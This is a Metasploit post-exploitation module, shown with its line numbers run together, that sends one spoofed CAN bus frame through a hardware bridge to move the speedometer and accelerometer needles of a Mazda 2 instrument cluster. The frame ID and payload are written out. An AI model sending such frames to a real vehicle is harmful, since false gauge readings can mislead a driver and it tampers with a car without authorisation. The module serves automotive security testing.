Path: blob/master/modules/post/hardware/automotive/mazda_ic_mover.rb
21645 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Mazda 2 Instrument Cluster Accelorometer Mover',12'Description' => %q{This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster.},13'License' => MSF_LICENSE,14'Author' => ['Jay Turla'],15'Platform' => ['hardware'],16'SessionTypes' => ['hwbridge'],17'Notes' => {18'Stability' => [SERVICE_RESOURCE_LOSS],19'SideEffects' => [SCREEN_EFFECTS],20'Reliability' => []21}22)23)24register_options([25OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])26])27end2829def run30unless client.automotive31print_error('The hwbridge requires a functional automotive extention')32return33end34print_status('Moving the accelorometer and speedometer...')35client.automotive.cansend(datastore['CANBUS'], '202', '6001606060606000')36end37end383940